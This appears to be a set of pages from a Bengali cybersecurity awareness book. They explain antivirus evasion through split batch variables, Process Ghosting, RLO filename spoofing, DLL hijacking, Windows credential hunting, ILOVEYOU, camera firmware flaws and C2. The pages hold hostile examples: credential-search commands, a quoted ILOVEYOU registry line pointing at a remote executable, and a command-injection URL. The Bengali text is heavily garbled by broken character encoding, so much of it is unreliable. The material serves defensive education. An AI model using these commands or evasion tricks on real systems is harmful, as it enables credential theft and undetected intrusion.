কের �দয়। এই EternalBlue ব�াবহার কের Windows কি�উটােরর 
SMBv1 সাভ�ার িদেয় হ�াক করা স�ব!

�স  যাই  �হাক,  কি�উটার  জগেত  অসংখ�  tool রেয়েছ।  তেব,  আজেক 
Cobalt Strike এর সংি�� পিরচয় তুেল ধরেবা। তেব, আমার উে�শ� 
�ধুমা� িশ�ামূলক ও সেচতনতা বৃি� করা।

Cobalt Strike

�যসকল এ�পাট�গণ সাইবার িসিকউিরিট (red team) িনেয় কাজ কেরন, 
তােদরেক  বা�ব  malware এর  সােথ  কাজ  করার  অিভ�তা  �দওয়ার 
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লে�� Cobalt Strike �তির করা হেয়িছেলা। তেব, সাইবার অপরাধীরাও 
তােদর িনেজেদর �ােথ� Cobalt Strike ব�াবহার কের। �যমন অেনেকই 
বেলন-  Trickbot নামক  ম�ালওয়�ার  এই  Cobalt Strike ব�াবহার 
কের। িনেচর িলংেক Trickbot এর এি� ভাইরাস �ধাঁকা �দওয়ার প�িত 
িনেয় আেলাচনা িনেচ

এি� ভাইরাসেক �ধাঁকা �দওয়া

গভীর �ান!

আজেক একিট বা�ব ম�ালওয়�ােরর code িদেয় আপনােদরেক �দখােবা- 
এটা িকভােব এি� ভাইরাসেক �ধাঁকা িদেত স�ম!

আপিন িন�য়ই �ুেল িনেচর মেতা অংক কেরেছন-

a=1 এবং b=2 হেল, a+b=3

আপনার  Windows  কি�উটার  িদেয়ও  িক�  এরকম  অংক  করেত 
পারেবন।  এজন�  আপনােক  Command Prompt open কের  a 
এবং b এর মান বসােত হেব। পাথ�ক� �ধু এটাই �য, কি�উটাের a=1 না 
িলেখ িলখেত হেব-

set a=1

অথ�াৎ, ��েত একিট set িলখেত হেব। এখন �যেহতু a এর মান বসােনা 
হেয়েছ তাই, এখন আপিন a+a এর �যাগফল �বর করেত পারেবন। তেব, 



───সাইবার জগেতর ওিপঠ by সাইফ 

54

a+a না িলেখ িলখেত হেব-

%a%+%a%

অথ�াৎ,  ��েত  এবং  �শেষ  %  িচ�  িদেত  হেব।  আশা  কির-  এেতাটুকু 
আেলাচনা বুঝেত �পেরেছন।

এখন আপিন ছিবেত �দখােনা ম�ালওয়�ােরর code বুঝেত স�ম!

ছিবর িনেচ, বাম পােশ রেয়েছ মূল কমা� �যমন-

start C:Users\**\AppData\Roaming\....\ulib8b4.exe

সরাসির এই কমা� িদেল এি� ভাইরাস এটােক ম�ালওয়�ার িহেসেব শনা� 
কের �ফলেব। িক�, ম�ালওয়�ার ��তকারী হ�াকার সরাসির কমা� না িদেয় 
উপের �যভােব set a=1 কমা� িদেয় a এর মান 1 করা হেলা; �সভােবই 
কমাে�র িবিভ� অংশ �থেম অেন�র মান িহেসেব বিসেয়েছ �যমন-

set a=start

set b=C:Users

set c=\

অথ�াৎ, start C:Users\** কমাে�র অ�িকছু অংশ a, b, c ইত�ািদর 
মান িহেসেব বসােনা হে�। তাই,  এখন যিদ িনেচর কমা� �দওয়া হয়-

%a%%b%%c%
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তাহেল, % িচে�র মাঝখােন a, b, c �দওয়ায় �স�েলার মান িহেসেব মূল 
কমা� run হেব। অথ�াৎ, হ�াকার এখােন সরাসির কমা� না িদেয়, �থেম 
কমাে�র টুকেরা টুকেরা অংশেক a, b, c এর মান িহেসেব বিসেয় তারপর 
a, b, c পাশাপািশ কমা� িহেসেব run কেরেছ।

িক�,  এি�  ভাইরাস  �যেহতু  সরাসির  কমা�  �দখেত  পাে�  না  তাই, 
ম�ালওয়�ারিট  এি�  ভাইরাসেক  �ধাঁকা  িদেয়  কি�উটােরর  �িত  করেত 
স�ম হেব। বা�েব এই ম�ালওয়�ার যখন �তির করা হেয়িছেলা তখন �ায় 
�কান এি� ভাইরাসই এটােক শনা� করেত পাের িন। 

ছিবেত  বামিদেক  যািকছু  রেয়েছ,  �স�েলাই  ম�ালওয়�ােরর  মেধ�  �লখা 
িছেলা।  আর,  আিম  �স�েলার  মান  �বর  কের  ডানিদেক  িলেখ  িদেয়িছ 
আপনােদর  �বাঝার  সুিবধােথ�।  মূলত,  এি�  ভাইরাসেক  �ধাঁকা  �দওয়ার 
অসংখ� উপায় রেয়েছ। �যমনঃ �থেম একিট সাধারণ file পাঠােনা হেলা- 
�যটা সরাসির �কান �িত করেব না। িক�, �সই file কি�উটাের যাওয়ার 
পর ধােপ ধােপ ম�ালওয়�ার ডাউনেলাড কের কাজ করেব। আর, এই প�িত 
িনেয়ই আগামীকাল আেলাচনা করার ই�া আেছ।)))

মূলত,  একিট  �ছাট  staged ম�ালওয়�ার  ��রেণর  পর  �সিট  Cobalt 
Strike �থেক  ডাউনেলাড  কের।  এরপর  আ�মণকারী  ব�ি�  Cobalt 
Strike এর beacon �ক command িদেব এবং �সই অনুযায়ী কাজ 
হেব।
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অ� িকছুিদন আেগ Cobalt Strike এর মেধ� Spawn & Tunnel 
যু�  হেয়েছ।  �সই  সােথ  Cobalt  Strike  িনেয়  কাজ  করার  জন� 
Python ল�া�ুেয়েজর library পাওয়া যায় স�ূন� িবনামূেল�। তেব এসব 
িকছু ি�েত পাওয়া �গেলও Cobalt Strike িক� ি� না। এিট ব�াবহার 
করার জন� বাৎসিরক মূল� �ায় ৩,০০,০০০ টাকা। এই মূল�বান tool এর 
আ�মেণর �মাকােবলায় আপিন কেতাটুকু ��ত?

───────────────
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ডাক� ওেয়ব �থেক ধারণ�ত 

২ � ওেয়বসাইট।

এ�েলা  হে�-  Groove এবং  Ramp নামক  ২  িট  ransomware 
এর  ওেয়বসাইট।  িবেশষভােব  ল��ণীয়  �য,  ২  িট  ransomware এর 
িবটকেয়ন একাউ� একই। এছাড়াও, ছিবর িনেচর অংেশ ২ িট িলংক �দখা 
যাে�।  এখােন  রািশয়ান  ভাষায়  �লখা  আেছ-  "আমােদর  �গ"।  িক�, 
Ramp এর ওেয়বসাইেটর এই িলংকিট মূলত Groove নামক আেরকিট 
ransomware  এর  ওেয়বসাইেটর।  সফটওয়�ােরর  মেতাই  এসব 
ransomware �কনা-�বঁচা করা হয়।

─────────



───সাইবার জগেতর ওিপঠ by সাইফ 

58

কি�উটােরর �ত file

কি�উটােরর একিট file যখন delete কের �দওয়া হয়, তখন �সই file 
িট কি�উটােরর কােছ মৃত। িক�, এই মৃত file িদেয় কি�উটাের অেনক 
িকছুই  করা  যায়।  তার  একিট  উদাহরণ  হে�  Process Ghosting 
প�িত। আজেক এই িবষেয়ই আেলাচনা করেবা।

**মূল আেলাচনাঃ Process Ghosting**

কি�উটাের আপিন িবিভ� কাজ কেরন আর, �সই কাজ�েলা কি�উটােরর 
কােছ এেককিট process। আর, Windows কি�উটাের process 
চালু হেয় **.exe** file �থেক। �থেম যখন আপিন **.exe** file 
-এ ি�ক কেরন তখন কি�উটােরর RAM (র �াম) এর মেধ� �সই file এর 
একিট image section �তির হয়। এরপর �সই image section 
�থেক process �তির হয়। িক�, process িট চালু হওয়ার পর �থম 
thread (process এর  �ছাট  অংশ)  চালু  না  হওয়া  পয��  সাধারণত 
এি� ভাইরাস �সটােক scan করেব না। যিদও �সটা মালওয়�ার �হাক না 
�কেনা?

এখন  Windows  কি�উটাের  **NtSetInformationFile** 
ব�াবহার কের এমনভােব file �তির করা যায় �য, file িট ব� (close) 
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করার সােথ সােথই delete হেয় যােব। তাই, একিট file এভােব �তির 
কের �সই file এর মেধ� �িতকর payload executable িলেখ িদেল 
কি�উটােরর  র �ােমর মেধ�  �সই  file  এর  একিট  image section 
�তির  হেব।  এরপর  file  িট  close  কের  িদেলই  এি�  ভাইরাস  আর 
�সটােক scan করেত পারেব না। কারণ, file িট �তা এখন মৃত (delete 
হেয়  �গেছ)।  িক�,  �সই  file  এর  �িতকর  সবিকছু  �তা  কি�উটােরর 
র �ােমর মেধ�ই  রেয়েছ।  তাই,  এখন  �সটা  execute  হেয়  যােব; 
�কান�কার এি� ভাইরােসর কােছ শনা� না হেয়।

এখন যিদ �� কেরন- �কা� এি� ভাইরাস এটােক শনা� করেত পারেব? 
�সে�ে�,  সরাসির  এি�  ভাইরােস  যাচাই  না  কের  বলা  স�ব  না।  যিদও 
সমেয়র  সােথ  সােথ  �ায়  সকল  এি�  ভাইরাসই  update  হেয়  যােব। 
তারপরও �ধুমা� িশ�ামূলক ও সেচতনতার উে�েশ�ই আজেকর আেলাচনা। 

────────────
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�ালওয়�ােরর ডান-বাম �ধাঁকা

�কমন  হেব  যিদ  একিট  ম�ালওয়�ােরর  নাম  �লখা  হয়  **metsyS** 
িক�,  আপিন  �সটােক  **System**  িহেসেব  �দখেত  পােরন?  িজ, 
এমনটা স�ব।

আপিন  যিদ  আমার  এি�  ভাইরাস  এবং  ম�ালওয়�ার  িব�ািরত  বইিট  পেড় 
থােকন  তাহেল  িন�য়ই  Windows কি�উটােরর  Registry  স�ে� 
জােনন।  �তা,  একিট  ম�ালওয়�ার  যিদ  �সই  Registry  �ত 
**metsyS** নােমর �িতকর িকছু রােখ িক�, আপনােক �সটা উি�েয় 
**System**  িহেসেব  �দখােনা  হয়  তাহেল  িক�  আপিন  �সটােক 
�িতকর  িকছু  মেন  করেবন  না।  কারন,  **System**  এর  মেধ� 
কি�উটােরর  জ�ির  file  থাকাই  �াভািবক।  িক�,  এটা  �তা  আসেল 
**System**  না  বরং,  **metsyS**  -�ক  উ�া  কের 
**System** �দখােনা হে�।

Registry �ত ছিবর মেতাই **RLO** ব�াবহার কের এটা করা স�ব। 
আর, file এর নাম এভােব উ�া কের �দখােনার জন� **U+202e** 
character  ব�াবহার  করা  হয়।  ফেল,  একিট  �িতকর  file  এর  নাম 
আসেল থাকেব **fdp.exe** িক�, আপিন �দখেবন **exe.pdf** 
এবং মেন হেব একিট pdf বই।
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এই িবষয়িট িক� �মােটও নতুন না। তেব, যারা জােনন না তােদরেক সেচতন 
করার লে�� আজেকর এই আেলাচনা। সবাইেক ধন�বাদ।

────────────
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File না থাকা যখন িবপদ

Windows কি�উটাের এমনিকছু পিরি�িত আসেত পাের- যখন িনিদ�� 
নােমর file না থাকেলই িবপদ হেত পাের। উদাহরণ��প Windows 
Task Scheduler এর কথা উে�খ করা যায়। এর মাধ�েম কি�উটাের 
িনিদ��  সমেয়  ��া�াম  run করােনা  যায়।  িক�,  **a12d404**  এর 
একিট গেবষণায় �দখােনা হয়- Windows Task Scheduler যখন 
run করা হয় তখন WptsExtensions.dll নামক file -�ক load 
করার  �চ�া  কের।  অথচ,  এই  file কি�উটাের  মূলত  থােকই  না।  তাই, 
একজন  attacker  যিদ  কি�উটার  হ�াক  কের  এবং  এই 
WptsExtensions.dll  নােমর  একিট  �িতকর  file  কি�উটাের 
পািঠেয় �দয় তাহেলই �সই �িতকর file িট load হেব। 

ি�তীয়ত,  Internet  Explorer  নামক  folder  এর  মধ�কার 
ExtExport.exe এর  কথা  উে�খ  করা  যায়।  এই  ExtExport  �ক 
run করা হেল ৩ িট file -�ক load কের-

* mozcrt19.dll,

* mozsqlite3.dll এবং

* sqlite3.dll।
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তাই, একজন attacker যিদ এই file �েলার নােমই অন� �িতকর file 
�রেখ �দয় তাহেল �সই �িতকর file -�ক ই load করা হেব। এ�েলােক 
LOLBin  বলা  হয়।  বুঝেতই  পারেছন-  আপনােক  িনেজ  �থেক  সতক� 
থাকেত হেব। �শষ পয�� পড়ার জন� সবাইেক ধন�বাদ।

─────────
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Windows কি�উটাের পাসওয়াড� 

তালাশ

অনুমিত ব�তীত অেন�র িসে�ম হ�াক করা অপরাধ! আপনােদরেক সেচতন 
করার লে�� আজেকর এই আেলাচনা; যােত কের কি�উটাের এই ধরেনর 
কায�কলাপ হে� িকনা- তা যাচাই কের �দখেত পােরন।

মূল আেলাচনা

একিট  Windows কি�উটার  হ�াক  হেয়  �গেল  কি�উটাের  িবদ�মান 
user  �কি�ক  পাসওয়াড�  হাঁিতেয়  �নওয়ার  �চ�া  করা  হয়।  এে�ে� 
Powershell ব�াবহার করা হেত পাের।

অপরাধী ব�ি� �থেমই িনেচর command িদেয় C drive এর সকল 
file এর list করেব- dir /b /a /s c:\

এরপর list করা সকল file এর মেধ� findstr িদেয় �খাঁজা হেব- �কান 
file এর মেধ� password, pass, ssh, vnc ইত�ািদ �লখা আেছ 
িকনা।  যিদ  থােক,  তাহেল  �সসকল  file  ই�ারেনেটর  মাধ�েম  িনেজর 



───সাইবার জগেতর ওিপঠ by সাইফ 

65

কি�উটাের িনেয় িনেব। 

এছাড়াও,  িনেচর  command �েলার  মাধ�েম  registry �ত  �কাথাও 
password আেছ িকনা, �সটাও খুঁেজ �দখেত পাের-

> reg query <hive> /f pass /t REG_SZ /s

�সই সােথ, �যসকল file এর নােমর মেধ� sysprep, credentials, 
unattend,  Token  ইত�ািদ  আেছ  �স�েলাও  ই�ারেনেটর  মাধ�েম 
হাঁিতেয় �নওয়ার (exfiltrate করার) �চ�া করেত পাের।

পিরেশেষ আবারও বলেবা- আপনােদরেক সেচতন করার লে��ই আজেকর 
এই আেলাচনা। আপনারা চাইেল এই ধরেনর কায�কলাপ কি�উটাের হে� 
িকনা- log events �থেক িনেজই যাচাই কের �দখেত পােরন। �শষ পয�� 
পড়ার জন� ধন�বাদ।

─────────
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File স�ে� কেতাটা জােনন?

**কি�উটােরর file িক আসেলই কখেনা ন� হয়?**

একিট .jpg ছিব অেনক সময় ছিব হওয়ার পাশাপািশ java file -ও হেত 
পাের। এমনিক �সই ছিবিট যিদ AES িদেয় encrypt কেরন, তাহেল �সই 
.jpg ছিব হেয় যােব .png ছিব। এমনিক অেনক সময় .jpg ছিবর মেধ�ই 
আেরকিট .png ছিব যু� থাকেত পাের। �সে�ে�, .jpg ছিবেক unzip 
করার  মাধ�েম  .png ছিবিট  �পেত  হয়।  এভােব  অেনক  িকছুই  যু�  করা 
যায়।  �যমনঃ  Windows কি�উটাের  Powershell  ব�াবহার  কের 
ছিবর �িত pixel এর সােথ �িতকর payload এর ১ bit যু� কের 
�দওয়া হে� অেনক সাইবার আ�মেণ। আবার, Windows কি�উটােরর 
.docx �ক rename কের .zip কের িদন; আসেলই .zip হেয় যােব 
এবং �সই .zip এর মেধ� folder �পেয় যােবন। 

বুঝেত পারেছন িবষয়িট? একই file িনেয় িবিভ� অপােরশন কের িবিভ� 
�প িদেয় �দওয়া স�ব। 

আপিন  িন�য়ই  জােনন-  কি�উটার  কাজ  কের  0  আর,  1  বাইনাির 
প�িতেত।  এখন  আপিন  যিদ  এই  0 আর,  1 িনেয়  কাজ  করার  িশ�া  ও 
�যাগ�তা অজ�ন করেত পােরন তাহেল আপনার কােছ �কান file ই মূলত 
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মূল�হীন  হেব  না।  এমনিক  file  এর  মেধ�  �কান  সমস�া  থাকেল 
কি�উটােরর (ফাইল িসে�েমর) কােছ file িট corrupted মেন হেলও, 
আপিন �সই file িনেয় িনেজ �থেকই অেনক কাজ করেত পারেবন। এমনিক 
corrupted অব�া  �থেক  িঠকও  করেত  পারেবন  অেনক  ��ে�।  মেন 
রাখেবন, file এর আিব�ার িক� মানুষই কেরেছ।

────────────
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সাইবার অপরাধী �ঁ�ন

ই�ারেনেটর  িবে�  সাইবার  অপরাধীেদর  থাবার  িশকার  হে�ন  অেনেকই। 
তেব,  �বিশরভাগ  ��ে�ই  অপরাধীরা  িনেজর  পিরচয়  লুিকেয়  রােখ।  তাই, 
আজেক সাইবার অপরাধীর পিরচয় উদঘটন করা িনেয়ই িকছু প�িত উে�খ 
করিছ-

**Exif data ব�াবহার করা**

ক�ােমরায় ছিব �তালার সময় �সই ছিবর সােথ �বশিকছু তথ� যু� হেয় যায়, 
যােক exif data বেল। এই exif data -র মেধ� geolocation সহ 
ক�ােমরা বা, �মাবাইেলর �বশিকছু তথ� থােক। ফেল, অপরাধীর কাছ �থেক 
�কান  ছিব  আদায়  করেত  পারেল  �সই  ছিবর  exif data িবে�ষণ  কের 
অপরাধীর  িঠকানা  জানা  �যেত  পাের।  এর  মাধ�েম  �যই  ���পূন�  িবষয়িট 
জানা যােব �সটা হে�- অপরাধী আপনার িনেজর এলাকােতই থােক িকনা? 

তেব, এখােন ২ িট িবষয় মাথায় রাখেবন-

* exif data সহেজই delete করা যায়। ফেল, অপরাধী আপনােক ছিব 
পাঠােলও exif data না থাকেল এসব তথ� পাওয়া যােব না।

* �ফসবুেক সাধারনত ছিবর exif data মুেছ �দওয়া হয়। তাই, ছিব িনেত 
হেল  Gmail বা,  এমন  �কান  মাধ�ম  ব�াবহার  করেত  হেব-  �যিট  exif 



───সাইবার জগেতর ওিপঠ by সাইফ 

69

data মুেছ �ফেল না।

এমন হেত পাের �য, ছিবিট �যই �কা�ািনর �মাবাইল িদেয় �তালা হেয়েছ, 
অপরাধীর  �লােকশেন  �সই  �কা�ািনর  �মাবাইল  �ধুমা�  ১  টাই  রেয়েছ। 
ফেল, এই exif data যু� file সং�হ করেত পারেল �শাসেনর জন� 
অপরাধীেক খুঁেজ �বর করা সহজ হেব। 

**Meta data ব�াবহার করা**

�েত�ক  file  এর  সােথই  অসংখ�  পিরমাণ  meta  data  থােক। 
Windows কি�উটাের �যেকান folder -এ �েবশ কের উপের থাকা 
drop  down  menu  �ত  right  click  কের  More  -এ  ি�ক 
করেলই  অসংখ�  meta  data  �দখার  অপশন  চেল  আসেব।  ফেল, 
অপরাধীর �থেক ছিব বা, অন� �কান file িনেত পারেল �সই file এর এসব 
তথ� �থেক �সই অপরাধী স�ে� অেনক ���পুন� তথ� সং�হ করা �যেত 
পাের।

**িনেজর ওেয়বসাইট ব�াবহার করা**

আপিন িনেজর ওেয়বসাইট ব�াবহার কেরও অপরাধীর িডভাইস ও �লােকশন 
স�ে� িকছু তথ� সং�হ করেত পারেবন। �যমন- আপনার ওেয়বসাইেট এমন 
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একিট page create করেলন, �যই page এর িলংক �কউই জােন না। 
এখন  �সই  িলংক  যিদ  অপরাধীেক  message  কের  পাঠান  তাহেল 
অপরাধী  যখন  �সই  িলংেক  ি�ক  করেব  তখন  আপনার  ওেয়ব  সাভ�াের 
অপরাধীর  িডভাইস  �থেক  request  আসেব  এবং  �সখােন  অপরাধীর 
�বশিকছু তথ� �পেয় যােবন।

এছাড়াও  পিরি�িত  �ভেদ  আরও  অেনক  প�িত  �েয়াগ  করা  �যেত  পাের। 
তেব, সকল প�িতই সাধারন নাগিরক িহেসেব করা স�ব না। বরং, িকছু 
িকছু িবষয় একমা� �শাসেনর �ারা করা স�ব। 

পিরেশেষ একিট কথাই বলেবা- সাধারন অপরাধীর �চেয় সাইবার অপরাধীরা 
িনেজেদর  িচ�  �বিশ  পিরমােণ  �ফেল  যায়।  কারন,  এসব  অপরাধীেদর 
অিধকাংশই  জােন  না-  �িত  মুহূেত�  কি�উটার  িসে�েমর  কেতা  জায়গায় 
তােদর িচ� িলিপব� হেয় যাে�। তাই, সাইবার জগেত অপরাধীেদর থাবার 
িশকার হেল ঘাবড়ােনা যােব না; আবার, আইন িনেজর হােতও তুেল �নওয়া 
যােব না। বরং, অপরাধীর ব�াপাের সাধ� মেতা তথ� সং�হ কের �শাসেনর 
কােছ  �যেত  হেব।  আসুন,  আমরা  সাইবার  অপরাধেক  ঘৃণা  কির,  সেচতন 
থািক।

───────────────
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�রেনা �ালওয়�ার ন�ন �েপ

অেনক  আেগর  একিট  ম�ালওয়�ার  িনেয়  বত�মােন  �তমন  �কউ  হয়েতা 
ভাবেছন  না।  আর,  এই  সুেযােগই  অপরাধীরা  পুরেনা  ম�ালওয়�ারেক  নতুন 
�েপ িনেয় আসেত পাের। �যমন- ছিবর screenshot িট �ায় ১ মাস 
আেগ একিট forum �থেক তুেলিছলাম। �সখােন একজন জানাি�েলন �য, 
**Gamarue.L** নােমর অেনক পুরাতন ম�ালওয়�ার নতুনভােব িকছু 
ল�াপটেপ পাওয়া িগেয়েছ।

মূলত,  পুরাতন  ম�ালওয়�াের  িকছু  পিরবত�ন  আনার  মাধ�েমই  নতুন  �েপ 
ব�াবহার করা �যেত পাের। �যমন ধ�ন- সুপিরিচত **ILOVEYOU** 
ম�ালওয়�ার  যখন  কি�উটাের  execute  হেতা,  তখন  ��েত  িনেচর 
instruction এর মাধ�েম Internet Explorer এর start page 
পিরবত�ন কের িদেতা-

Regcreate  "HKCU\Software\Microsoft\Internet 
Explorer\Main\StartPage", 
"http://www.skyinet.net/****/WIN-BUGSFIX.exe"

িক�, এখন �তা Internet Explorer ব�াবহার করা হয় না। তাই, এই 
instruction  পিরবত�ন  করার  পাশাপািশ  অন�ান�  ফাংশনািলিট  িকছুটা 
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আপেডট  করার  মাধ�েম  অপরাধীরা  এই  পুরাতন  ম�ালওয়�ার  নতুনভােব 
ব�াবহার করেত-ও পাের। তাই �দখা যাে�, িসিকউিরিট িসে�মেক উ�ত না 
কের িপিছেয় থাকার একদম সুেযাগ �নই।।

────────────
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��া�ােমর ��েত িডভাইস িবপেদ

িডভাইেসর FIRMWARE �কি�ক ��

�েত�ক িডভাইেসর মেধ�ই �কা�ািন �থেক িকছু ��া�াম যু� কের �দওয়া 
থােক।  এটােক  firmware  বলা  হয়।  মেন  ক�ন,  �াউজার  িদেয় 
ওয়াই-ফাই রাউটােরর আইিপ এে�েস �গেল ওেয়ব ই�ারেফস চেল আেস। 
�সখােন  অেনক  settings থােক।  �তা,  এই  ই�ারেফস  �দখােনার  জন� 
�কা�ািন �থেকই রাউটােরর মেধ� firmware যূ� কের �দওয়া হেয়েছ। 
এই firmware এর �িটর কারেণ স�ুন� িডভাইস-ই হ�াক হেয় �যেত 
পাের।

# বা�ব উদাহরণ

মেন  ক�ন,  আমরা  একিট  CC  ক�ােমরার  firmware  ডাউনেলাড 
করলাম। �তা, firmware িট ZIP file িহেসেব ডাউনেলাড হেয় �গেলা। 
এখন আমরা এটােক unzip করলাম এবং .img file �পলাম। এর মেধ� 
একিট file system আেছ (অথ�াৎ, িকছু folder, file ইত�ািদ)। এখন 
�সই  fle  system  এর  মেধ�  �েবশ  করেত  আমরা  mount  কের 
�ফললাম এবং �সখােন CC ক�ােমরািটর অেনক source file �পলাম। 
এখােন  আমরা  �দখেত  �পলাম  �য,  ওেয়ব  �াউজার  িদেয়  যিদ  CC 
ক�ােমরািটর  িনেচর  িলংেক  যাওয়া  হয়  তাহেল  পাসওয়াড�  না  জানেলও 
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সাধারন user িহেসেব ক�ােমরার িকছু file এর access �নওয়া যােব-

 http://<IP address>/xadmin/test?u=dev

িকংবা ধের িনলাম �য, পাসওয়াড� ছাড়া আমরা CC ক�ােমরার �কানিকছুই 
access িনেত পারেবা না। িক�, firmware �দেখ আমরা অন� একিট 
�িট খুঁেজ �পলাম। �সটা হে�- �াউজার িদেয় CC ক�ােমরার িনেচর িলংেক 
�গেল  এবং  িলংেকর  **q=**  এর  পের  (value  িহেসেব)  �কান 
command িলেখ পাঠােল, command িট run হেব- http://<IP 
address>/update/fail?q=id

উপেরর  ২  িট  উদাহরণ  মূলত  অেনকিদন  আেগর  িডভাইেসর 
vulnerabiliy  (�িট)  এর  আেলােক  উে�খ  করলাম।  িক�,  বত�মান 
সমেয়র িডভাইেসও অসংখ� vulnerabiliy থাকেত পাের। ফেল, একজন 
আ�মণকারী �যেহতু �সই �কা�ািনর িডভাইেসর �িট খুঁেজ �পেয়েছ তাই, 
এখন  আ�মণকারী  ব�ি�  Shodan এর  মেতা  সাচ�  ইি�ন  �থেক  �সই 
িডভাইস�েলা search করেব এবং খুঁেজ �পেল attack করেব। িক�, 
এটা   িকভােব  স�ব  হেলা?  এটা  স�ব  হেয়েছ  িডভাইেসর  firmware 
নামক ��া�ােমর �িটর কারেন। ফেল, ��া�ােমর ��া�ােমর �িটেত এখন 
িডভাইস িবপেদ।

─────────
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কি�উটাের আ�মণ হে�?

আপনার কি�উটার িনরাপদ রা�ন

ই�ারেনট  �থেক  �িতিদনই  অেনেকর  কি�উটাের  attack  আসেছ। 
িবষয়িট  পরী�া  করেত  একিট  সাইবার  িসিকউিরিট  team  তােদর 
Windows কি�উটারেক  ই�ারেনেটর  সােথ  যু�  কের  RDP নামক 
একিট  সািভ�স  চালু  কের  িদেয়িছেলা।  অ�  কেয়ক  �সেকে�র  মেধ�ই 
ই�ারেনট  �থেক  তােদর  কি�উটােরর  RDP  -র  ওপর  **brute 
force** attack আসেত �� কের!

**অপরাধীরা কি�উটােরর স�ান পায় িকভােব?**

আপিন  �যভােব  Google  সাচ�  কের  তথ�  সং�হ  কেরন,  �সভােবই 
ই�ারেনেট  সংযু�  থাকা  িডভাইসেকও  সাচ�  করার  সাচ�  ইি�ন  আেছ। 
উদাহরণ��প এই post এর ছিবেত �দখেত পাে�ন- সাচ� করার মাধ�েম 
িকভােব  RDP চালু  থাকা  কি�উটার  খুঁেজ  �বর  করা  হেয়েছ।  এখন  �ধু 
এসকল কি�উটাের আ�মেণর অেপ�া।
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**িনরাপদ থাকার উপায়**

আপিন  Windows  কি�উটার  ব�াবহার  করেল  Event  Viewer 
ব�াবহার কের �দখেত পারেবন- আপনার কি�উটাের িক িক হে�। আর, 
Linux কি�উটাের  /var/log এর  মেধ�  log �দখেত  পারেবন।  তেব, 
এসেবর  মেধ�  সে�হজনক  �কানিকছু  �দখেত  না  �পেলও  আপিন 
ই�ারেনেটর  সােথ  সংযু�  িবিভ�  সািভ�স  �যমন-  RDP �ক  �েয়াজন  না 
থাকেল ব� রাখুন, শি�শালী পাসওয়াড� ব�াবহার ক�ন এবং **brute 
force** attack �িতেরােধ rate limitation ফাংশনািলিট ব�াবহার 
ক�ন।  এছাড়াও  SMTP,  SMB ইত�ািদ  সািভ�েসর  ওপরও  **brute 
force** attack আসেত পাের; তাই, �সিদেকও নজর রাখুন, িনরাপদ 
থাকুন। ধন�বাদ।

─────────
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িক� হ�ািকং প�িত

কি�উটার  িসে�ম  িনরাপদ  রাখার  �চেয়  হ�াক  করা  সহজ।  এমন  অেনক 
হ�ািকং প�িত আেছ �য�েলা সফলভােব স�� হওয়ায় �কউ জানেতই পাের 
িন। িক�, �যসকল হ�ািকং প�িত �কাশ �পেয়েছ, �স�েলার আলাদা আলাদা 
নাম রেয়েছ। এরকম ৩ িট হ�ািকং প�িত স�ে� িনেচ আেলাচনা করা হেলা-

# Clickjacking

আপিন  হয়েতা  �খয়াল  কেরেছন  �য,  একিট  ওেয়বসাইেট  আেরক 
ওেয়বসাইেটর page �দখােনা যায়। আবার, ওেয়বসাইেটর মেধ� �কানিকছু 
অদৃশ� কের রাখাও স�ব। �যমন-

* সাদা রেঙর ওেয়ব �পইেজর ওপর সাদা �লখা থাকেল �সটা �দখা যােব 
না।

* HTML ব�াবহার কের �কান উপাদানেক শূন� opacity িদেল �দখা 
যােব না।

এভােব সাইবার অপরাধীরা ওেয়বসাইেট একিট উপাদানেক �গাপন �রেখ বা, 
অন� �িতকর ওেয়বসাইেটর অংশ তার িনেজর ওেয়বসাইেট �দিখেয় তােত 
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ি�ক  কিরেয়  �যই  হ�ািকং  কের,  তােক  **Clickjacking**  আ�মণ 
বেল।

# Buffer overflow

উপেরর **Clickjacking** আ�মণ করা যেতাটা সহজ, **Buffer 
overflow**  আ�মণ  করা  তেতাটাই  কিঠন।  তেব,  আপনােদর  কােছ 
সহজভােবই এর পিরচয় তুেল ধরার �চ�া করিছ-

কি�উটােরর �মেমাির (RAM) এর মেধ� িকছু অংশ বা �ানেক buffer 
বেল। এর মেধ� �ণ�ায়ী data রাখা হয় �যমনঃ িক-�বােড� িকছু িলখেলন, 
�সটা  �েসসের  যাওয়ার  আেগ  যিদ  িকছু�ণ  অেপ�া  করেত  হয়  তাহেল, 
CPU  �থেক  একিট  scheduling  সময়  িনেয়  buffer  এর  মেধ� 
অেপ�া  করেব।  এখন  মেন  ক�ন-  আপিন  একিট  notepad এ  িকছু 
িলখেলন। �সই notepad এর �েত�ক লাইেন সেব�া� ৯০ িট অ�র �লখা 
যায়। তাই, ৯০ অ�ের �েত�ক লাইন িলেখ save করার পর আপিন যিদ 
�সই file এমন �কান notepad িদেয় open কেরন, �যই notepad 
এর �েত�ক লাইেন সেব�া� ৮০ িট অ�র রাখা স�ব তাহেল, বািক ১০ িট 
অ�র এমন buffer এর মেধ� চেল যােব- �যখােন অন�িকছু িছেলা। এখন 
একজন হ�াকার �থেম জানার �চ�া করেব- সফটওয়�ােরর �কান অংশটুকু 
অন� buffer এ যাে�। এরপর �সখােন �িতকর িকছু (exploit) িলেখ 
িদেয় �যই আ�মণ করা হয় তােক **buffer overflow** আ�মণ 
বেল। যিদও এটা �ধুমা� একিট ধারনা িদলাম। অেনক িকছুই িলখলাম না 
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যােত খুব কিঠন না হেয় যায়।

C2 অথবা C&C

একিট কি�উটার এমনভােব হ�াক করা হেলা �য, হ�াকার �ের �থেকই �সই 
কি�উটারেক  command  িদেব  আর,  কি�উটারিট  �সই  অনুযায়ী 
control হেব। এটাই হে� C2 বা, C&C প�িত। এমনিক কি�উটারিট 
off কের আবার চালু করেলও হ�াকােরর িনয়�ণ �থেক যায়। এটা অেনক 
আেগ  �থেকই  হেয়  আসেছ।  �যমনঃ  ২০০০  সােল  Washington 
University -র  �মিডেকল  �স�ােরর  তথ�  হ�াক  হেয়  যায়।  �সই  সময় 
কতৃ�প� �ভেবিছেলা- তারা হ�াকারেক আটকােত �পেরেছ। িক�, ৬ মাস পর 
Kane নামক হ�াকার একজন সাংবািদকেক জানায় �য, িতিন িক িক তথ� 
হ�াক কেরেছন। িতিন হ�াকার �প cDc এর �তির করা BO2K ব�াবহার 
কের �সই �মিডেকল �স�ােরর �নটওয়ােক� �গাপেন অব�ান করিছেলন।

মূলত, হ�াকারেদর হ�ািকং প�িতর �শষ �নই। আর, অেনক হ�ািকং প�িত 
এখনও  অজানা।  তেব,  পিরিচত  হ�ািকং  প�িত�েলা  স�ে�  জানার  �চ�া 
